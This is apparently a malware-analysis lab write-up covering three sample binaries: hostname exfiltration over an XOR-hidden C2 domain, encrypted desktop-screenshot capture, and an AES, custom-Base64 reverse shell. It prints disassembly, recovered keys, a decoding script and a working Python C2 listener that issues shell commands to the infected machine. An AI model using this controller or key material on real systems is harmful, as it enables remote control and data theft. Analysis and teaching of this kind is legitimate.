Running strings does not reveal much beyond a few obvious artifacts. One notable entry is “Mozilla/4.0”, which looks like a user-agent string and is likely used during C2 communication.
Another interesting find is a URL format placeholder:
http://%s/%s/
This indicates the real address is constructed at runtime, meaning the actual C2 address is likely obfuscated or encrypted within the malware.
One more suspicious string is:
KIZXORXZWVZWLZI^ZUZWBHRH
This value is stored in the resource section of the binary, inside the single resource entry named “101”.

Executing the malware dynamically quickly reveals the link it builds at runtime:
www.practicalmalwareanalysis.com
The path the malware attempts to access ends with a == suffix, which strongly suggests Base64 encoding. Decoding it reveals the VM hostname being sent to the server.

Most xor instructions in the binary are simple register clears. However, one instance stands out in sub_401190, where a byte is XORed with the ASCII character ’;’. Further inspection confirms this behavior.
mov ecx, [ebp+index]
cmp ecx, [ebp+len]
.
.
mov edx, [ebp+arg_0]
add edx, [ebp+index]
xor eax, eax
mov al, [edx]
xor eax, ';'
mov ecx, [ebp+arg_0]
add ecx, [ebp+index]
mov [ecx], al
.
.
mov eax, [ebp+index]
add eax, 1
mov [ebp+index], eax
This is clearly a loop that walks over a buffer and XORs each byte. The parameter arg_0 contains the data being transformed.
Checking the cross-references shows that this function is called only once:
call ds:LockResource
mov [ebp+var_10], eax
mov ecx, [ebp+dwBytes]
push ecx
mov edx, [ebp+var_10]
push edx
call xor_dec_enc
This tells us that var_10 holds the contents of resource 101, which is then passed to the XOR routine for decryption. Since this is the only resource in the executable, we can conclude that the string:
KIZXORXZWVZWLZI^ZUZWBHRH
is decrypted at runtime using the single-byte key ’;’.
To recover it, we can use a small Python script:
def xor_dec(enc: str, key: str) -> str:
return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(enc))
print(xor_dec("KIZXORXZWVZWLZI^ZUZWBHRH", ';'))
The result is the domain used by the malware:
practicalmalwareanalysis

Using FindCrypt, only one encoding mechanism is detected: Base64. This aligns with what we observed dynamically, where the malware Base64-encodes the path sent to the C2 server.

Using IDAtropy is not very revealing. The entropy stays fairly constant between 5 and 6 throughout the binary, which makes sense since there are no large encrypted blobs present and only a small encoded string is used.
The function responsible for network communication is sub_4011C9, since it is the only routine that uses imported WinINet APIs. After calling gethostname, the resulting string is passed into another subroutine.
Inside that routine, several checks occur before calling sub_401000. This function is clearly the Base64 encoder, as it references BASE64_table_4050E8.
The malware Base64-encodes the hostname and uses it as the path in the HTTP request to the C2 server.
cmp [ebp+arg_8], 1
jle short loc_401077
...
loc_401077:
mov [ebp+var_1], 3Dh ; '='
cmp [ebp+arg_8], 2
jle short loc_4010A0
...
loc_4010A0:
mov [ebp+var_2], 3Dh ; '='
Yes, this malware does generate standard Base64 padding. The encoder checks how many input bytes remain using arg_8. When there are not enough bytes to form a full 3-byte block, it explicitly writes 0x3D (’=’) into the output.
If arg_8 ≤ 1, the third output character is forced to ’=’.
If arg_8 ≤ 2, the fourth output character is forced to ’=’.
As a result, when the input length is not a multiple of three, the encoded output ends with either = or ==, just like standard Base64.
In summary, the malware extracts an encrypted C2 string from its resource section and decrypts it at runtime using a single-byte XOR routine. It then retrieves the local hostname, Base64-encodes it, and sends it as part of an HTTP GET request to the decrypted C2 domain.
This allows the malware to quietly exfiltrate the victim’s hostname to the command-and-control server.
Static analysis of Lab13-02.exe shows that the binary relies heavily on KERNEL32.dll, USER32.dll, and GDI32.dll. The KERNEL32 imports indicate low‑level system interaction, file handling, and possible dynamic API resolution.
Additionally, the presence of desktop and graphics capture APIs from USER32.dll and GDI32.dll, such as GetDesktopWindow and GetDC, strongly suggests screen interaction. These functions are commonly abused by malware to capture screenshots of the user’s desktop, a behavior typical of spyware or surveillance tools.
When the malware is executed, a persistent but empty console window appears. After a short delay, files begin to appear in the malware’s directory with the name format “temp” followed by a hexadecimal value in ascending order. Closing the console window terminates the malware.
Inspecting these dropped files reveals that they all have the same size (4,467 KB). Combined with the imported APIs, a reasonable assumption is that the malware periodically captures screenshots of the virtual machine’s desktop and saves them to disk.

However, the files do not correspond to any recognizable format and appear as encrypted blobs, so their contents cannot be viewed directly.

The number of XOR hits is notable. Most of them are located inside sub_401739, and they do not resemble simple register clearing operations. This suggests that the function likely performs some form of encoding or transformation.
Another XOR instruction appears in sub_40128D, which also looks suspicious and warrants further analysis.

FindCrypt2 and IDA Entropy did not provide useful results. FindCrypt2 detected no known cryptographic constants, and the entropy across the binary remained fairly consistent, hovering between 5 and 6, which does not strongly indicate standard encryption.
Since the encoding routine is applied to files written to disk, a good starting point is the imported function WriteFile. By examining its cross‑references, we find that it is used inside sub_401000. This routine appears to be a wrapper, with the main execution flow occurring in its caller, sub_401851.
lea eax, [ebp+nNumberOfBytesToWrite]
push eax
lea ecx, [ebp+hMem]
push ecx
call sub_401070
add esp, 8
mov edx, [ebp+nNumberOfBytesToWrite]
push edx
mov eax, [ebp+hMem]
push eax
call sub_40181F
add esp, 8
call ds:GetTickCount
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
push offset Format ; "temp%08x"
lea edx, [ebp+Buffer]
push edx ; Buffer
call _sprintf
add esp, 0Ch
lea eax, [ebp+Buffer]
push eax ; lpFileName
mov ecx, [ebp+nNumberOfBytesToWrite]
push ecx ; nNumberOfBytesToWrite
mov edx, [ebp+hMem]
push edx ; lpBuffer
call sub_401000
The presence of the string “temp%08x” confirms we are near the file‑generation logic. Just before the file write occurs, two functions are called in sequence: sub_401070 followed by sub_40181F. This ordering suggests a pipeline of data collection → encoding → file write, which is common in malware.
From this, we can conclude that sub_40181F contains the main encoding logic.
To identify what is being encrypted, we examine sub_401070. The behavior of this function becomes clear from the APIs it uses, including GetDesktopWindow and GetSystemMetrics.
This routine captures the current desktop screen and stores the screenshot in memory. The resulting buffer is then passed to sub_40181F for encoding before being written to disk.
Thus, the encoded content is the screenshot of the user’s desktop.
The encoding algorithm implemented in sub_40181F is non‑trivial and not easily reversible by inspection alone. Instead of fully reversing the algorithm, a practical approach is to modify the binary so it writes the data without encoding.
By patching the encryption call with NOP instructions, the malware will save the raw screenshot buffer directly to disk.
add esp, 8
mov edx, [ebp+screenshot_size]
push edx
mov eax, [ebp+screenshot]
push eax
call sub_40181F

After patching and running the program, the dropped file can be opened normally, revealing that it is indeed a screenshot of the virtual machine’s desktop.
However, this approach is not entirely satisfying. In a post‑compromise scenario, we would still need a way to decrypt the data the attacker already exfiltrated. Simply patching the binary only helps for future samples, not for data that has already been captured.
One alternative is to debug the malware and overwrite the encryption input buffer with the hex dump of an already encrypted screenshot. The assumption here is that the same routine is used for both encryption and decryption, which is reasonable given that the function is heavily based on XOR operations.

Using x32dbg, we follow the address stored in EAX and dump the hex data at that memory location. After replacing the buffer with the encrypted screenshot and resuming execution, the program processes it through the same routine.
Once execution continues, we inspect the newly written file, and it is successfully restored into the original screenshot taken at the beginning of execution.
This confirms that the encoding routine is reversible and that the malware’s encryption function can be reused to decrypt previously captured screenshots.
Static analysis immediately suggests that this malware performs network communication. Imports from WS2_32.dll and the presence of the domain www.practicalmalwareanalysis.com indicate that the sample can create outbound network connections, most likely acting as a client that connects to a remote command‑and‑control (C2) server.
The appearance of the string cmd.exe, combined with extensive use of pipes and handle duplication APIs such as CreateProcessA, CreatePipe, and DuplicateHandle, strongly suggests that the program spawns a command shell and redirects its standard input and output over a network socket. This is a classic indicator of a reverse shell, where commands are received remotely and their output is sent back to the attacker.
Most of the extracted strings are repetitive and unreadable, with very few meaningful ASCII strings present. This strongly implies that the sample hides important data using encoding or encryption to resist static inspection. Additionally, the presence of a Base64‑like character set hints that some data inside the binary is encoded rather than stored in plaintext.
Several crypto‑related error strings such as “Incorrect key length” and “Data not multiple of Block Size” appear in the binary. These messages are typical of block cipher libraries and indicate that real cryptographic routines are embedded in the malware, likely to protect network traffic or internal payloads.
Dynamic analysis confirms much of this behavior. When executed inside a VM and monitored with Procmon, the malware maps multiple DLLs that do not appear in the static import table. Libraries such as mswsock.dll, hnetcfg.dll, wshtcpip.dll, dnsapi.dll, winrnr.dll, and rasadhlp.dll are accessed at runtime, indicating that the malware dynamically resolves networking functionality rather than importing it directly.
Another observation is that the malware dynamically resolves www.practicalmalwareanalysis.com. Initially, listening with nc on common HTTP/HTTPS ports did not produce any activity.

Procmon reveals the reason: the malware attempts to connect over TCP port 8910, not a standard web port. After listening on that port with netcat, a connection is successfully established.

At first, this appears to be a remote shell. However, sending plaintext strings results in random characters and symbols being returned, which indicates encrypted or encoded traffic.
Searching the binary for xor reveals multiple routines that implement XOR‑style transformations. These functions load bytes from global arrays and apply XOR operations across buffers. While XOR alone is simple, in this case it appears to be used as part of a larger key‑setup or preprocessing stage for a more complex encryption routine.

Running FindCrypt2 is very revealing. It identifies several tables and routines associated with AES encryption, including S‑boxes and inverse tables. Multiple functions cross‑reference these structures, indicating that AES is the primary cryptographic primitive used by the malware rather than simple XOR alone.

Entropy analysis further supports this conclusion. The .text section shows relatively stable entropy between 5 and 6, meaning the code itself is not heavily packed or compressed. In contrast, the .rdata section maintains entropy values above 7, which is typical of encrypted or highly randomized data. This section contains AES‑related byte arrays that are almost certainly used by the encryption routines.
The .data section also contains an interesting reference with elevated entropy. One cross‑reference marked as Data_Read points to a custom alphabet string:
'CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/'
This looks like a modified Base64 table where the characters are rotated. This indicates the malware uses a custom Base64‑style encoding in addition to AES.
The malware primarily uses:
From the FindCrypt results, tables with the suffix inv indicate decryption logic, while their counterparts represent encryption. The previously identified XOR routines were renamed based on their roles: enc_xor2 / enc_xor4 for encryption and dec_xor3 / dec_xor5 for decryption.

Graph analysis shows that enc_xor4 wraps enc_xor2, and dec_xor5 wraps dec_xor3. The dispatcher function sub_403745 selects encryption or decryption, while sub_40352D consistently calls encryption and is connected undirectly to main, indicating that it represents the AES encryption routine.
To extract the AES key, we inspect calls into the encryption function:
push 1
mov eax, [ebp+nNumberOfBytesToWrite]
push eax
lea ecx, [ebp+var_FE8]
push ecx
lea edx, [ebp+Buffer]
push edx
mov ecx, offset unk_412EF8
call AES_encrypt
Because the function uses the fastcall convention, ECX holds the key structure. The best candidate is the global array unk_412EF8. Although it appears empty statically, its cross‑references reveal it is initialized earlier:
push offset aIjklmnopqrstuv ; "ijklmnopqrstuvwx"
mov ecx, offset unk_412EF8
call xor1
This shows that xor1 initializes the AES key buffer using the string:
ijklmnopqrstuvwx
Therefore, the AES key is: “ijklmnopqrstuvwx”
For the custom Base64 variant, the key material is not a secret value but rather the custom alphabet itself:
CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/
The routine sub_40103F implements reverse mapping for decoding. It loops over the 64‑byte table, compares the input character, and returns the index when found. This proves the malware decodes incoming data from this custom Base64 alphabet before passing it into AES.
mov [ebp+var_4], 0
cmp [ebp+var_4], 40h
movsx edx, byte ptr aCdefghijklmnop[ecx]
cmp edx, [ebp+arg_0]
jnz short loc_40106C
mov eax, [ebp+var_4]
This confirms the overall workflow: the malware receives Base64‑encoded commands, decodes them using the custom alphabe, executes them via cmd.exe, encrypts the output with AES and sends it back to the attacker.
To validate the analysis, a simple Python C2 server was implemented to interact with the malware. The server performs custom Base64 encoding and AES decryption using the recovered key.
import socket
import base64
from Crypto.Cipher import AES
def custom_b64_encode(data, custom_alphabet):
standard_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
standard_b64 = base64.b64encode(data).decode('utf-8')
table = str.maketrans(standard_alphabet, custom_alphabet)
return standard_b64.translate(table)
def aes_decrypt(ciphertext, key):
key_bytes = key.encode('utf-8')
iv = b'\x00' * 16
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)
return decrypted_data.rstrip(b'\x00').decode('utf-8', errors='ignore')
def start_server(host='0.0.0.0', port=8910):
custom_alphabet = "CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/"
key = "ijklmnopqrstuvwx"
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen(1)
print(f"[*] Listening on {host}:{port}...")
while True:
conn, addr = server_socket.accept()
print(f"[*] Connection from {addr}")
try:
# --- PHASE 1: INITIAL WAKE UP ---
conn.settimeout(0.1)
pulse_nl = custom_b64_encode(b"\n", custom_alphabet).encode('utf-8')
while True:
try:
conn.send(pulse_nl)
if conn.recv(1024): break
except socket.timeout: continue
# --- PHASE 2: AGGRESSIVE COMMAND LOOP ---
while True:
user_input = input("Shell> ").strip()
if not user_input: continue
if user_input.lower() in ['exit', 'quit']: break
# Prepare the command with a newline
encoded_cmd = custom_b64_encode((user_input + "\n").encode('utf-8'), custom_alphabet).encode('utf-8')
full_response = b""
response_started = False
while not response_started:
try:
conn.send(encoded_cmd)
conn.settimeout(0.1) # Aggressive 0.1s window
data = conn.recv(8192)
if data:
full_response += data
response_started = True
# --- STOP SENDING NOW ---
# Just drain the remaining output
conn.settimeout(0.4)
try:
while True:
chunk = conn.recv(8192)
if not chunk: break
full_response += chunk
except socket.timeout:
pass
except socket.timeout:
# No response yet, loop back and send the command again
continue
except (ConnectionResetError, BrokenPipeError):
print("[!] Connection lost.")
return
if full_response:
print(aes_decrypt(full_response, key))
except Exception as e:
print(f"\n[!] Error: {e}")
finally:
conn.close()
if __name__ == "__main__":
start_server()
Some of the socket logic is noisy due to the malware’s timing behavior, but once the sample is running, the shell successfully initializes. Issuing commands such as dir returns properly decrypted output from the victim machine.

This confirms that the malware implements an AES‑encrypted, custom‑Base64‑encoded reverse shell, and that the recovered key material is correct.